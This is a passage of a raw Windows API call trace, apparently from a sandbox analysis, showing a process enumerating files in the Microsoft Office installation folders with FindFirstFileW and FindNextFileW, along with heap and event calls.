cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP202C~1.XML")) returned 1 [0286.508] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml", cAlternateFileName="APBC30~1.XML")) returned 1 [0286.508] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCB35~1.XML")) returned 1 [0286.508] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP5E1E~1.XML")) returned 1 [0286.508] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~3.XML")) returned 1 [0286.508] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE0B7~1.XML")) returned 1 [0286.508] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8BF9~1.XML")) returned 1 [0286.509] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.common.xml", cAlternateFileName="AP3FD6~1.XML")) returned 1 [0286.509] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2667, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifestLoc.en-us.xml", cAlternateFileName="AP942B~1.XML")) returned 1 [0286.509] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 1 [0286.509] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="AuthoredExtensions.xml", cAlternateFileName="AUTHOR~1.XML")) returned 0 [0286.509] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.509] GetProcessHeap () returned 0xaf0000 [0286.509] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0286.509] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2aef500 | out: lpFindFileData=0x2aef500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0286.509] GetProcessHeap () returned 0xaf0000 [0286.509] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0286.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\*", lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0286.510] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.510] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2aef278 | out: lpFindFileData=0x2aef278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0286.510] GetProcessHeap () returned 0xaf0000 [0286.510] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0286.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0286.511] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.511] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1 [0286.511] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1 [0286.511] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0286.512] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1 [0286.512] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1 [0286.512] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0286.512] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1 [0286.512] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1 [0286.512] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1 [0286.512] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1 [0286.512] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1 [0286.513] ResetEvent (hEvent=0x2a0) returned 1 [0286.513] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.709] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1 [0286.709] ResetEvent (hEvent=0x2a0) returned 1 [0286.710] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0xffffffff) returned 0x0 [0286.746] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1 [0286.746] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1 [0286.746] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1 [0286.746] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1 [0286.746] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0286.746] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0286.747] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0286.747] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0286.747] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0286.747] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0286.747] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1 [0286.747] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1 [0286.748] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0286.748] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0286.748] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2aeeff0 | out: lpFindFileData=0x2aeeff0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, 